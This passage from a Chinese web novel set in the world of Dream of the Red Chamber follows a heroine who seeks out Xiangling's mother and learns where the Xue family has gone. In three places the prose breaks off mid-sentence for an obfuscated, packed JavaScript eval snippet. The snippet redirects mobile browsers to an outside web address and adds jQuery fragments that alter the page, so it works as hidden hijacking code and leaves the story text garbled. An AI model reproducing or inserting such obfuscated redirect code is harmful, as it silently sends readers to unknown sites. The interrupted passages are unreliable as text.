明瑶华瞳孔猛地一缩，忽地站起来，手划过桌面，带倒了茶碗，温热的茶水沿着桌角滴滴答答地落到地上。 15. 香菱的下落 难道她重生的朝代竟是红楼梦世界？ 明瑶华一直以为自己是穿越到平行时空，景朝的服制官制类似明朝，但开国皇帝却姓柴，往前数也没一个国号为宋的国家，然而唐朝及唐之前的国家和历史文学著作等却是对得上她前世所学的。 原来是红楼梦世界，那就说得通了。 她极力平复心绪，不好意思地笑道：“让刘嫂子和卢姐姐见笑了，实在是那封氏太过可怜，听得我心中酸楚，又可怜封氏母女，又生气封氏之夫抛下妻女不顾，这才失态了。” 明瑶华这么一解释，刘嫂子面上多了几分真情实感，她叹气道：“唉，我师傅和封氏都是可怜人，为了找女儿，苦苦支撑，幸好她们有一手好绣活，可以赚银子养活自己，兼托人四处查探消息。每次得知哪处的衙门勘破了一桩人贩子案件，有被拐的女子等待家人来接，她们就坐车坐船前去，那银子不知花费了多少。” 卢氏重点在男人轻易就放弃了被拐走的孩子，气火怒火同时涌起，跟着义愤填膺：“孩子不是男人肚子里生的，自然不如女人对孩子的感情深厚，说放下就放下了。” 刘嫂子道：“嗐，男人嘛。” 明瑶华状似随意问：“石绣娘和封氏的孩子身上可有什么印记？俗话说女大十八变，身上没点胎记，就算面对面，也难以确定是自家的孩子。” 石绣娘的孩子明瑶华不清楚，但是封氏的孩子便是红楼梦中可怜的香菱，只是不知道现在香菱是在拐子手里，还是落到了薛大傻子手里。 对于红楼梦中的女子，明瑶华最喜爱者是黛玉，最怜惜者是香菱。 香菱作为红楼梦众多女儿中的一个，出场镜头屈指可数，却每一场都让人心疼惋惜。 仔细想来，和黛玉学诗应该是香菱有记忆以来最快乐的一段时光，沉浸在诗文的世界里，暂时忘却外界的愁苦纷扰。 刘嫂子一拍大腿道：“怎么没有？我师傅的女儿后腰有三颗小黑痣，封氏的女儿眉心一点红痣，长得又好，仿若观音菩萨一般，只要一见，必能认出的。” “这样明显的印记，能找到的几率大些，怪不得她们一直不肯放弃。”卢氏想到自己家中的女儿，心有戚戚道。 她想起齐壮几次提醒她当女儿出门一定要当心，她还没有特别放在心上，只觉得扬州城中，哪儿有坏人敢当众拐孩子。 但凡事不怕一万，只怕万一，万一孩子被拐了，她哭都没地方哭。以后她定要时刻看好女儿。 明瑶华心道：这是再错不了的了，刘嫂子所说的封氏便是香菱的母亲。 既然知道了，明瑶华做不到冷眼旁观，她下定决心，道：“还请刘嫂子告诉我，石绣娘住在哪儿，我得空便带上料子去她家。” 刘嫂子自觉为师傅拉来一桩大生意，喜不自禁地将石绣娘的详细地址告知，刘嫂子热心道：“下午我有空，若是秀才娘子下午去找我师傅，我能陪着去，给秀才娘子指路。” 明瑶华笑道：“那再好不过了。” 下午，明瑶华和楚明霁说一声就出了门。 石绣娘住在城门边上的小花灯巷子里，刘嫂子坐在车里和明瑶华道：“此处距离两淮盐运使司衙门很近，周围住户多是财大气粗的盐商，盐商家的女眷舍得花银子做衣服，给的打赏也多。我师傅的绣工好，颇有一些固定的主顾。” 骡车在巷子口停下，两人抱着锦缎下车，刘嫂子熟门熟路地领着明瑶华走到一处宅子门前，敲了敲门，很快有一个才留头的小丫头来开门。 刘嫂子打招呼问道：“你们妈妈在家吗？” 小丫头穿着厚棉袄，浑身干干净净，头发乌黑，眼神明亮，脆生生地回道：“在呢，石妈妈和封妈妈都在家。” 石绣娘闻声出来，将二人迎了进去。 屋内布置整洁，临窗摆着绣架，上面是绣了一半的猫戏花蝶图案的刺绣。 两个小丫头坐在绣架旁边劈线，一个炭盆就放在绣架旁边。 石绣娘笑着请客人落座，明瑶华看到一面容端正秀丽的中年女子端来热茶，看模样应该便是封氏了。 封氏娴静腼腆，放下茶水就过去和小丫头一起劈线刺绣了。 刘嫂子三两句将明瑶华的来意说了，又特意补充道：“明娘子的夫婿年纪轻轻就中了秀才，如今她家又成了同知夫人的座上宾，以后前途不可限量。” 所以师傅你可千万说什么接了盐商家女眷的活儿，不得空闲的推辞。 石绣娘阅历丰富，哪里会说不得空的话，她丢了女儿还常年寻访不肯放弃，哪里会不知道和官宦权贵搭上关系的重要性？ 哪个地方的官府又破了人贩子拐卖案件，顺藤摸瓜查出了陈年旧案里被拐的孩子都被卖到何处，这样的消息官宦权贵轻轻松松就可以知道。 但对她们这样的普通百姓来说，是千难万难的，她们须得主动去找一个个地方的官府，报诉案情，留下地址，还要打点衙役，乞求对方有了消息别忘了告知自己。 就算是运气好，得了孩子的下落，若想将孩子要回自己身边，也不是容易的事情。 若是孩子落到有能耐的人家家里，就算官府已经查明孩子是被拐卖的，人家不肯放人，她们又能如何？ 但如果有个官宦权贵出面帮忙说和，那结果就不一样了。 因而，石绣娘巴不得和秀才娘子打好交情，她立时应道：“秀才娘子是桃枝介绍来的贵客，就算是为了不落了徒弟的脸面，我也要做好秀才娘子的活儿。秀才娘子可想好衣物的样式了？” 明瑶华在翻取缎子时就想好了各人的衣物样式和搭配，她细细说了，和石绣娘就纹样工费等事宜讨论了一阵。 她家中各人尺寸刘嫂子都清楚，倒不必再费心去量了。 说罢，明瑶华问道：“不知要多少时日才能做好？” 石绣娘想了一下，道：“要做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353313|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得精致，少说也得半个月。” 明瑶华笑了：“能在十二月前做好便成。” 平昌郡主的请帖上写着的宴会日子是十二月六日，而今天是十一月九日。 石绣娘暗松一口气，笑着道：“时间倒有宽裕，那我在二十八日将衣裳送到秀才娘子家里，若有需要改的，也还来得及修改。” 这桩生意就此说定，刘嫂子在一旁暗暗高兴，她居住牵线，到时候石绣娘少不得给她一百钱的辛苦费。 明瑶华目光短暂地瞥向封氏，只观言行举止，石绣娘大胆机敏，封氏文静腼腆，二人之间明显以石绣娘为主导。 她只知道香菱在金陵时被拐子关在屋子里不得自由，后被薛家带到京城，住在荣国府内，但更具体的时间线却是不知道的。 唯有问出香菱的年龄，才能推断出香菱的下落。 明瑶华端起茶水喝了一口，找了个理由，小声道：“我听说石绣娘和封绣娘都在寻找家里的女儿，我邻居是府衙邢房的小吏，他也接触过许多拐卖案件。你要是不介意我冒昧提起你的伤心事，可以将你们女儿丢失的地点、年岁、身上的印记等细节告诉我，我私底下悄悄地和我那邻居提一嘴，让他帮着留意些。多个人多份力，他们各处衙门的小吏都是互通有无的，消息比咱们灵便许多。” 刘嫂子跟着作证：“秀才娘子和齐典吏的婆娘处得极好，她在齐典吏面前是说得上话的。” 石绣娘红了眼眶，鼻子发酸，她寻访女儿这些年，不少人听说后都劝她放弃，再嫁个男人，再生个孩子，照样和和美美的日子。 可她如何能忘记她的女儿，从小小的一个肉团子，慢慢长大到能走路能说话了，在花园里摇摆着小身子，小手里举着一朵花说“给娘，给娘”。 每每夜里想到女儿，想到女儿不知在何处受苦，她就感到撕心裂肺般的痛苦，眼泪簌簌地流出来。 石绣娘咬紧唇瓣，转过脸用帕子擦拭泪水，又喝了一口茶，吞下喉咙间的酸楚，哑声道：“秀才娘子愿意帮忙，我感激不尽，哪里会介意。” 不忍心让封氏自述女儿丢失的过程跟着一起伤心，石绣娘领着明瑶华和刘嫂子换了个封氏听不到的地方坐下，细细地将她的女儿和封氏的女儿的相关消息尽数说了，神色中还带着期待。 明瑶华不由愧疚，她只知道封氏的女儿的下落，但是石绣娘的女儿她却是不清楚的，偏偏她选了询问石绣娘。 她承诺道：“我一定如实告知齐典吏，请他帮忙。就是我自己，也会留心的。” “多谢你，多谢你！”石绣娘小声哭着道。 刘嫂子忙劝道：“师傅莫要哭了，绣娘的眼睛是最重要的，找女儿需要银钱，哭花了眼如何做得好针线？往常我听你这么劝封绣娘，怎么到你身上，你就忘了这个道理了。” 石绣娘仰头，将泪水憋回去，“我不哭，我还有赚银子找女儿，我不哭！我不能哭！” 16. 打听、护官符 明瑶华心情低落地回家，在巷子口下了车，迎面遇到一行穿着皮袄的陌生人，为首的两人骂骂咧咧地说着什么。 其中一人道：“白送的钱都不收，真是个傻子！” 另一人冷哼道：“不过是个穷秀才，眼光就高了，竟敢拒收我们老爷的礼，连交际都不会，以后当了官也得被人拉下来。” 明瑶华回到家里，看到楚明霁坐在正厅上首，疲惫地捏着太阳穴，两侧的桌案上摆着待客的茶水。 “有人上门给你送礼了？”明瑶华笃定地问。 楚明霁苦恼道：“你一出门那些人就来了，连着来了两批，有送古董字画的，有送金银首饰的，有送宅子铺子的，我哪里敢收？费了好一番唇舌，那些人才不情不愿地走了。” 他不解道：“区区一个秀才的功名，那些人竟这样舍得送财物？” “你真真是傻了。”明瑶华坐在他另一侧，笑着伸出两根手指比了个二，“扬州府名列前茅的秀才，疑似和同知大人有交情。” 平昌郡主和陆同知是夫妻，夫妻一体，在乡绅富商眼里，一个有才华又和贵人交好的秀才，足以让他们提前进行大额投资。 楚明霁恍然大悟，“你不提，我还真没想到这一层。” 他从进学到科举，一步步皆是按部就班地进行，猛然和权贵扯上交集，还真有点没反应过来。 两人说了几句，花椒娘就进来问是否摆饭。 花椒娘迅速适应了在新主家的日子，瞧见女主子回来了，猜到女主子和男主子有体己话要说，在厨房等了一会儿，才过来询问摆饭事宜。 这个点儿比平日用晚饭的点儿早些，但明瑶华和楚明霁两个下午都耗费了许多精神，都饿了，提前用饭正合适。 遂去叫上明甫光，一家人用饭不提。 翌日晨起，用过早饭后，明瑶华让楚明霁陪着去了李大娘家里——李大娘的儿子伍兴儿跟着大药材商做跑商生意，金陵作为江南最繁华的城市之一，伍兴儿是生意人，定是打听过金陵各个大家族的。 昨日石绣娘说了，香菱今年十二三岁的年龄，那就可能在拐子手里，可能在薛家手里，可能还在金陵，也可能已经去了京城。 具体还是要向伍兴儿打听一下薛家的动向才能确定。 但是不能直接询问，一则没个缘由，直接询问太突兀，二则，她家和伍兴儿只是点头之交，贸然去问伍兴儿，人家不一定肯细细告知。 但也不难，自古以来，找人办事不外乎以情动之，以利诱之。 明瑶华脑子灵泛，稍微动动脑筋就想出了主意。 她上门先是给李大娘问好，寒暄后笑盈盈地说一番好话出来：“我今儿上门是有事要求伍大哥帮忙的。事情是这么回事，我想买一批白芷、艾叶，刚好想起伍大哥不就是做药材生意的吗？俗话说肥水不流外人田，既然身边就有做买卖药材生意的人，何必舍近求远，把银子给别人赚了？自然是要在伍大哥这里买药材的。加上我又不会分辨药材的好坏，在外面买药材还要担心被药材铺的人坑骗，要是在伍大哥这里买，就不必担心这个了。” 明瑶华打算选有消炎除菌功效的药材做一批药皂，再通过伍兴儿销售给各大医馆的大夫，让伍兴儿当她的分销商。 若是行得通，她就开辟了一个新的销售渠道，若是行不通，她也可以等租了铺子放在铺子里卖。横竖香皂二三年都不会过期。 重要的是，这个缘由不论是对楚明霁，还是对伍兴儿都解释得通。 李大娘听得心中熨帖，加上楚明霁考中秀才之后的风光荣耀犹在眼前，她语气殷勤地道：“我家兴儿昨天出发去镇江了，他说了过个十天半个月的回来，秀才娘子要是不着急，等他回来我立刻让他上你家里。” 伍兴儿常年在外跑商，明瑶华前两天在巷子里见过他，没想到这就又出门了，还要再等。 她按捺下失望，道：“那就麻烦大娘了，我是真心想买药材的，等伍大哥回来了，大娘可千万记着这事。” “放心吧，我老婆子什么时候忘过事？”李大娘拍着胸脯道，只要听过的事情，她就没有忘的。 有这一件事在心里挂着，明瑶华做什么都没精打采的，加上有花椒娘在，连出门采买都不必了，整日在家闲着，间或和到家里来的卢氏说说话 。 楚明霁不明白做事有条有理、兴致高昂地计划着租铺子的妻子怎么突然就把心思放在做药皂上面了？ 他虽搞不清缘由，但也没细究，为了转移明瑶华的注意力，不至于整天闷闷不乐，他提议道：“光弟想着早日下场童试，明年是大比之年，后年他定是要去报名县试的，我盼着他能一路过三关，将县试府试院试一道拿下。不如咱们乘早鞭策一下他，你给他出墨义帖经题，我给他出赋诗和策论，既锻炼他的能力，又能磨磨他的傲气。” 考试两个字几乎印刻在明瑶华的灵魂里，楚明霁这样一说，果然引起她的兴趣，也不再懒懒的了。 夫妻两个联手，二对一车轮战，一起盯着明甫光的功课。 明甫光是越战越勇，非但不觉得压力，反而越做题越兴奋。 小花椒在厨房门口，听着东厢房里传出来的朗朗书声，转身回到厨房里，悄声问正在揉面团的娘：“娘，新老爷家里是不是很穷？他们一家都要很辛苦地读书挣功名。” 花椒娘被唬得一跳，在围裙上擦擦手，蹲下来压低声音告诫女儿：“不可以乱说，新老爷是秀才，以后要是能考上举人进士，那是能当官的。” 她接着问：“你怎么会说这话的，是不是巷子里有谁在你耳边说的？” 小花椒眨巴着眼睛，“不是巷子里的人说的，是旧主家的大太太说的。二太太派人盯着二爷读书，大太太说穷门小户的才要巴巴地读书，她的哥儿长大了不必苦哈哈的读书，自然有官做。” 旧主家一共四房人，大房二房是老夫人生的，三房四房是不同的两个老姨娘生的。 大房老爷有原配一子，续弦一子，各妾室一无所出 。 二房老爷是原配妻子生的二子一女，还有祝姨娘生的一对儿女。 三房四房分家另过，花椒娘不清楚。 但就算是分出去的旁支，在金陵依旧权势大得很，和金陵当地四大家族都有交情。 花椒娘担心祸从口出，伸手盖在女儿嘴上，严肃道：“如今我们是秀才家的奴仆了，什么旧主家大太太二太太的，以后不许再提，不然我就打你。听到了吗？” 小花椒缩了缩身子，听话点头。 十一月二十六这天，终于等到伍兴儿上门。 明瑶华在小厅见他，笑道：“是我有求于伍大哥，原该我亲自去伍大哥家里的，倒麻烦伍大哥跑一趟了。” 伍兴儿穿着厚实的羊皮褂子，在自家不冷不热正合适的，到了楚家坐下后竟觉得有些热，细看屋里放着两盆炭火，怪不得呢。 他摆出一副圆滑的笑脸：“才几步路，不说麻烦。秀才娘子想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353314|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要买什么药材，要多大的量？” 伍兴儿话说得热络，但实际他没指望这位秀才娘子能买多少，不过后宅太太随手买几两银子的货玩耍罢了。 但楚家已然出了个秀才，他就不得不打起十二分的精神应对了，赚不赚钱的无所谓，能给人留个好印象就成。 虽然都说江南文风昌盛，秀才功名不值钱，但楚秀才这样年轻的秀才，未来还是很可期的。 明瑶华坐直了，在心里组织言语，慢慢道：“伍大哥也知道，向来读书是最费钱的，我家有两个读书人，花销家更大了。” 伍兴儿点头，等着她接下来的话。 明瑶华道：“幸好我懂得几个洁面护肤的香皂方子，比市面上的胰子澡豆都好使。” 这个伍兴儿知道，他老娘在齐家看到过，回家还和他提起念叨了几句。只是他卖的是药材，和女人洁面护肤的东西扯不上关系啊。 在伍兴儿疑惑的目光中，明瑶华笑道：“那天我突然想到，香皂里可以加上白芷、艾叶、苍术一类药材，做出洁净去污的药皂。医馆的大夫每日接待病人，负责外科的还要给病人清除脓疮污血，若是有散发着药材清香、又能洁净双手的药皂，伍大哥认为他们会不会买？当然，就算医馆的大夫不买，我做了出来摆在铺子里，想来那些不差钱的管事太太们不会吝惜银子。” “秀才娘子所说的药皂，到底是什么样的，比之胰子好用在哪里？”伍兴儿只听说过，还没真正见过用过。 “药皂还没做，我做了桂花皂，让人来用过给你看你就知道了。”说罢明瑶华唤了一声花椒娘，花椒娘便捧着一盆温水进来。 花椒娘手上是故意染上的血污油腻，盆里是一块巴掌大的方形香皂，散发着桂花的怡人清香。 花椒娘握着香皂在手背手心涂抹，搓出泡沫，而后清洗双手。 一双满是血污油腻的双手，几息之间就变得干干净净。 伍兴儿看得入神，身子逐渐倾斜：“妙啊，妙啊，秀才娘子若能做出来，我敢保证，一定有市场。不说别的，南直隶这一块的医馆药铺，我有信心能说服他们大批量购买。” 如今医馆大夫清洁双手，只能用草木灰和皂角，若是有了药皂…… 不不，不只局限于南直隶的医馆药铺，还可以对过往行商进行售卖。 伍兴儿呼吸急促，迅速意识到这是一个无人开辟的新赛道，双眼迸射出亮光，要是能将这一桩生意抓在手里，他未来儿子娶媳妇的钱他都不愁了。 伍兴儿站起来，对着明瑶华作揖弯腰道：“秀才娘子要是信得过我，可将药皂生意全交给我，我定会办得妥妥帖帖。” 花椒娘顺势悄悄退下。 明瑶华笑道：“你要是真心想兜揽这门生意，须得议定分成，找个中人订契约才行。这桩事急不来，且等我把药皂做出来，把样品与你试用过了再说。” 既然没有一口拒绝，就代表对方不排斥和自己一起做这笔银子生意，伍兴儿笑着恭维道：“是该如此，秀才娘子想得周到。” “你先坐下，我还有别的事要和你打听。”明瑶华没忘记她找上伍兴儿的真正缘由，“我除了香皂方子，还有做香膏香露香珠的方子。南直隶最富贵繁华之地，除扬州之外，就是金陵了。我是想以后在金陵开一个卖香品沤子的铺子，贴补贴补家用。只是我以前听说，金陵当地大族名宦之家流传甚么护官符的的说法，这是这么回事？难道我在金陵开铺子，还得四处去拜码头？” 17. 薛家、麒麟玉佩（修） 这说到伍兴儿的强项了——伍兴儿十五岁开始跑商，到今年已经十年了，南直隶四处都跑遍，各州府有甚须孝敬打点的仕宦名门之家他门儿清。 他有意在秀才娘子面前卖弄，于是故弄玄虚道：“这却不假。金陵大族名宦之家有个顺口溜，秀才娘子且听我背来——” “贾不假，白玉为堂金作马。阿房宫，三百里，住不下金陵一个史。东海缺少白玉床，龙王来请金陵王。丰年好大雪，珍珠如土金如铁。”① “这四句顺口溜提到了贾、史、王、薛四家，四家同气连枝，一荣俱荣一损俱损的。其中贾家一门两国公，最为强势。史家有一位侯爷，王家是县伯之后，薛家是紫薇舍人之后。如今朝中还有人当官的贾、史、王三家，薛家族中已经无人做官了。再加上，贾、史、王三家的嫡支和得脸旁支都在京城居住，留在金陵的都是没甚势力的，靠着嫡支的脸面摆阔罢了。” “秀才娘子不必担心，这顺口溜也就是听上去唬人，和我们正经做生意的不相干，咱们只需打点好应天府户房上下一干人等便是了。” 说了一大通，伍兴儿口干舌燥，举起茶碗喝了半碗茶水，接着道：“贾、史、王三家靠出租田宅铺子挣钱，与我们没有竞争。只有薛家，薛家也是做生意的，还是皇商，不过他们家也不比当年了，薛家族长死后，是他的儿子薛蟠接任，薛蟠于生意上实在不通，薛家内部也有不服他的，家族人心不齐。听说薛蟠去年为了个美貌丫鬟惹上人命官司，打死了人，拖了一年才结案，应天知府对外说薛蟠被冤魂索命而亡，将苦主糊弄过去，实则那薛蟠带着母妹上京去了。” 明瑶华认真听着，等伍兴儿一气说完，才发出疑问：“薛家好歹也是金陵大族，这般隐秘的事，你是如何得知的？” 伍兴儿得意地笑道：“那苦主冯渊在大街上被打得只剩一口气，是回春堂的大夫去把脉诊治，又是去的薛记药铺抓药。我虽是个小人物，但刚巧和这两者有交情。回春堂的大夫且不说，那薛记药铺，正是薛家大房的产业，不过薛蟠没本事收服药铺管事，药铺管事被薛三叔这一房拉拢了去，自然不会帮薛蟠瞒着，言语中透漏出来许多消息。也不只我知道，金陵城消息灵便的人都知道这事。” 他唏嘘道：“那丫鬟也是惨，长得是一副好模样，眉心一点红痣更是罕见，但也正是因为这副好模样，才被薛蟠看上。她跟了薛蟠，也不知道是福是祸。” 听起来伍兴儿的消息来源是可靠的，听到眉心一点红痣，明瑶华用力抓住扶手，问出她最想知道的事：“薛蟠是何时上京去的？” “就是去年秋末那会儿。”伍兴儿一心想拿下药皂生意，因此知无不言，言无不尽，“也是避开薛家其余七房的意思，因薛蟠这一桩命案，薛家内部齐心协力使绊子，薛蟠这一房被其余七房抢夺出去的产业就价值十几万两银子，再不跑，就薛蟠那蠢笨自大的性子，怕不是连祖宅都要被人设局抢走。” 伍兴儿语气中对于薛蟠的鄙夷毫不掩饰，薛家那样大的产业，即便薛蟠没甚本事，只要肯听劝肯敬人，还是有不少薛父留下来的管事愿意跟随他。 但他蛮横无脑的做派，实在让人失望，本人支棱不起来，当不起家主的责任，还对忠心劝谏的老管事口出恶言，怪不得薛家药铺的掌柜会导向薛三叔。 明瑶华皱着眉头，香菱已然到了京城，那就难办了——香菱作为丫鬟跟随薛家寄居在荣国府，而封氏无权无势的，没等靠近贾家的大门就被看门小厮赶走了，更别提要回女儿。 要想个法子才行。 薛蟠被冤魂索命而亡是应天知府对外的说辞，不知道判决文书上是怎么写的。 想来不外乎两种可能，一是写明薛蟠死了，二是运用春秋笔法，不点明薛蟠已死，只写冯家愿意收下银子撤诉和解。 第二种可能更大些，应天知府是贾雨村，他赌的应该是民不举官不究，只要没人细究，这件事也就混过去了。 不管是哪一种判决，都能拿来威胁薛家交出香菱，否则就报京兆尹，联合御史，将事闹大。 到底如何，还需要看到判决文书才行，但以她现在的身份，以楚明霁的身份，都不可能看到判决文书。 此路不通。 明瑶华定了定神，对伍兴儿笑道：“伍大哥这么一说，我就放心了。那伍大哥先给我送白芷粉、艾叶粉、苍术粉各半斤，我将药皂样品做出来，约莫需要一个多月时间。之后我们再谈其他。” “哎，行。” 伍兴儿应道，便起身告辞去寻摸明瑶华指明的药材去了。 明瑶华还没想出个能让封氏要回女儿的法子，石绣娘就和唤祥云的小丫头一起将新衣服送来了。 明瑶华做了两身衣服，楚明霁和明甫光各一身。 倒不是她偏心自己，而是郡主送来的绸缎里，诸如杏红、雪青、郁金、湖水碧这样鲜嫩的颜色，配上各式花蝶纹样的料子占了大半，玄色、暗红这种适合做男子衣裳的料子就四匹。 各自取了衣裳去试衣。 楚明霁一身墨蓝织锦袍，明甫光一身暗红织锦团花袍，将两人衬得面貌愈发出色。 明瑶华先夸赞了一番明甫光：“这是谁家的小公子，看起来可真俊俏。” 明甫光心里欢喜，当着外人的面还故作沉稳，只是脸上的喜色是怎么也掩藏不住的。 明瑶华看了一眼楚明霁，还没开口，楚明霁就催道：“瑶儿，你也快去换上。” 行吧。 明瑶华去换上杏红芙蓉纹妆花缎长袄，下系玉色云缎棉裙，外搭一件石榴红海棠纹样的披风，发髻上只簪了两朵普通绢花，就这样，已经足够明媚鲜妍，让人舍不得移开目光。 楚明霁看一眼，再看一眼，忽地意识到还有外人在场，低头不好意思再看。 明瑶华心里偷笑，没有出言戏弄他，而是去换上另一身衣裳。 衣裳的尺寸缝纫刺绣等都没问题，明瑶华取出工钱给石绣娘。 想了想，她带着石绣娘去了小厅，低声道：“我和人打听，封氏的女儿已然有了一点消息，但还不敢确定。我和你说一声，你暂且别和封氏说，等真的确定了再和她说不迟。只是对不住你，你的心事，我还没能打听到。” 香菱暂时还在薛姨妈身边当丫鬟，成为薛蟠妾室怎么也得一两年之后，明瑶华想尽快想出一个能让封氏顺利母女团聚的法子，再告知封氏，以免她一激动，跑到京城，反生不测。 石绣娘一颗心揪住，等听到自己女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353315|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿还是没消息，一颗心又失望地松开，不过她还是激动道：“那也很好了，很好了。我知道此事希望渺茫，有可能一辈子都找不到人，封氏能找到女儿，我也替她高兴。” 石绣娘执意将装银子的荷包还给明瑶华：“秀才娘子帮了我们这么大的忙，这银子我不能收，只是做几件衣服罢了，哪里比得上秀才娘子的大恩。” 明瑶华坚决不收，正色道：“一码事归一码事，我帮你们并非为了银子，而是为了心安。难道我家连做衣裳的钱都没有吗？” 石绣娘道：“不是，我不是这个意思。” 明瑶华柔了语气：“我知道石妈妈是想谢我，不如等封氏母女团聚以后，让封氏与我做一身衣裳，那我就真心收下。” 这是遇到好心人了，石绣娘含泪点头。 石绣娘走后，明瑶华在小厅里坐了半刻钟，心情平复了，才往正房走。 她还在发愁该如何让香菱和封氏母女团聚，却不知她无意中，先一步促成了林家父子相认。 正房里，楚明霁换回了家常旧衣，明甫光还穿着那身暗红锦袍揽镜自照。 明瑶华不客气地笑道：“爱俏的小郎君，请回你房里去吧。你占了我的镜子，却叫我这个小娘子去哪里整理妆发？” 明甫光知道姐姐就是想将自己打发走，但不敢反抗姐姐，只是一边往外走一边嘟囔：“方才还夸我呢，这就嫌弃上我了，哼！” 等明甫光走了，楚明霁对着她咬耳朵：“也就你能治他，要是我说，他还不肯听呢。” 明瑶华轻轻掐他一把：“在我跟前装什么？别以为我不知道，你们背着我好的什么似的，还一起说过我的坏话。” 楚明霁喊冤：“我哪里敢啊！” 明瑶华不理他，径自在镜子前坐下，取下头上的绢花，拿出首饰盒子，将她的嫁妆和郡主送的一整套头面都摆出来，选合适的往头上簪。 楚明霁好似想起什么，道：“母亲不是给过你一对白玉镯子，你就戴那对镯子赴宴吧。别叫好好的镯子只能藏在暗盒里，白糟蹋了。” 明瑶华一怔，自楚母去后，她担心楚明霁睹物思人，几乎不在楚明霁面前拿出楚母给的首饰，就连日常养护玉饰也是避着楚明霁的。 楚明霁从镜中看到她的神情，嘴角扯了一下。 他一开始确实抗拒看到母亲的遗物，直到之前瑶儿梦魇重病，他甚至想到了打棺陪葬之事，若是瑶儿有个万一，便将家里的值钱物件都陪葬给她，让她下辈子投胎到富贵人家，一世安稳。 幸好上天垂怜，让瑶儿平安无事。 经历了这一遭，他只会欣赏妻子腕绕双跳脱的美好，镯子还是戴在活人手上才是其价值所在。 明瑶华怔了一下，站起来搂住他的腰，将脸贴在他胸口，听着他的心跳声，道：“谢谢夫君，我正愁没有好镯子配我的好衣裳。” 静静地贴了好一会儿，明瑶华松开他，弯下腰翻找出装着镯子的首饰盒，她记得还有一块镂雕麒麟玉佩，她一并翻找出来，笑道：“镯子和玉佩是一块玉石出来的，等我打个新络子，到时我手戴玉镯，你腰挂玉佩，外人一瞧就知道我们是一家的。” 楚明霁已放下母亲逝去的心结，自无不可。 18. 承诺、林管家 进了腊月，天气越发冷了，十二月六日这天却是个难得的好天气。 用罢早饭，明瑶华换上新衣服，带上搭配好的首饰，打扮得愈发眉目出众，神采飞扬。 楚明霁和明甫光换上锦袍华服也掩不住一身的书生气，任谁见了都要夸一句好后生！ 马车上，欢喜出门的明甫光突然忧心忡忡地想到：“姐姐，咱们去郡主家的宴会，你身边没个丫鬟跟着，会不会受人欺负？” 他父亲在时，家里有好几个下人伺候，每次姐姐出门都有丫鬟跟着，只是父亲去后，就将卖身契返还下人，各奔东西了。 要是有宴会上有那等富贵心势利眼的看姐姐身边没个丫鬟，以此刻薄姐姐怎么办？ 明瑶华先是为他的细心感动了一瞬，而后笑道：“你放心吧，这种场合都是体面人，就算想说什么难听的也要顾忌郡主的面子，不会有事的。” 当朝读书人家里穷那不叫穷，叫安贫乐道，就像考中进士后在翰林院当值，就算俸禄没几两银子，那也不能说穷，得说清贵。 所以即便她身边没个丫鬟跟着，有脑子的都不会正面说嘴这个。 楚明霁道：“等出了年，还是再添两个丫鬟放你身边伺候。” “行。”明瑶华想了想，随着楚明霁进府学，交际圈势必扩大，她身边有丫鬟跟着的确方便很多。 另一方面，她也确实需要人手一起做药皂。 其实药皂和普通猪油皂面向的顾客群体都是手里有些闲钱的普通人，是最适合拉上同村亲友一起赚钱的项目。 不过嘛，她和楚明霁两边的族人都不亲近，就是买人雇人，找人分成合作，她都不会回头找村里的所谓族亲。 陆同知住在官署，门口已经聚了许多来客。 几人下车，验过帖子，呈上贺礼，男客被小厮领着往前厅走，女客被仆妇领着往后院走。 时辰还早，女眷们被安排在花园廊下赏花玩耍，廊下有好几只鹦鹉学人说吉祥话，亭子里有官家贵女对弈，小拱桥上有几家书香之女对诗做赋，喜静的还可以在室内品茗赏画，总之，各有其乐。 平昌郡主梳妆妥当，听下人道明娘子已然到了，忙派朝云去请人到房里来：“趁客人还没多起来，我和她说几句话。” 明瑶华才和两个陌生太太互相道了家门，就被请走了。 被众多贵太太簇拥的甄家大太太看到一个黄毛丫头被郡主身边的丫鬟请走，而自己主动请求给郡主请安，却被敷衍不见，气得伸手扯下一朵开得正盛的洛阳锦。 远离了人群，朝云笑道：“我是郡主的贴身丫鬟，明娘子唤我朝云便是。您别怕，我们郡主和善着呢，不是那等傲气看不起人的。何况多亏了您的法子，我们郡主能平安生产有您一半的功劳，不说郡主感激您，就是我们这些当丫鬟的，都念着您的好。” 明瑶华落落大方地回道：“郡主心善，自有上天庇佑，我实在不敢居功。” 在得知郡主平安生产之后，她心中的大石便落下了——虽然还是免不了有一瞬间的胡思乱想。 当初在霞光寺见面，她告诉平昌郡主胸膝卧位之法前也有过诸多犹豫，最终还是无法眼睁睁看着一个女子因为胎位不正而难产死去。 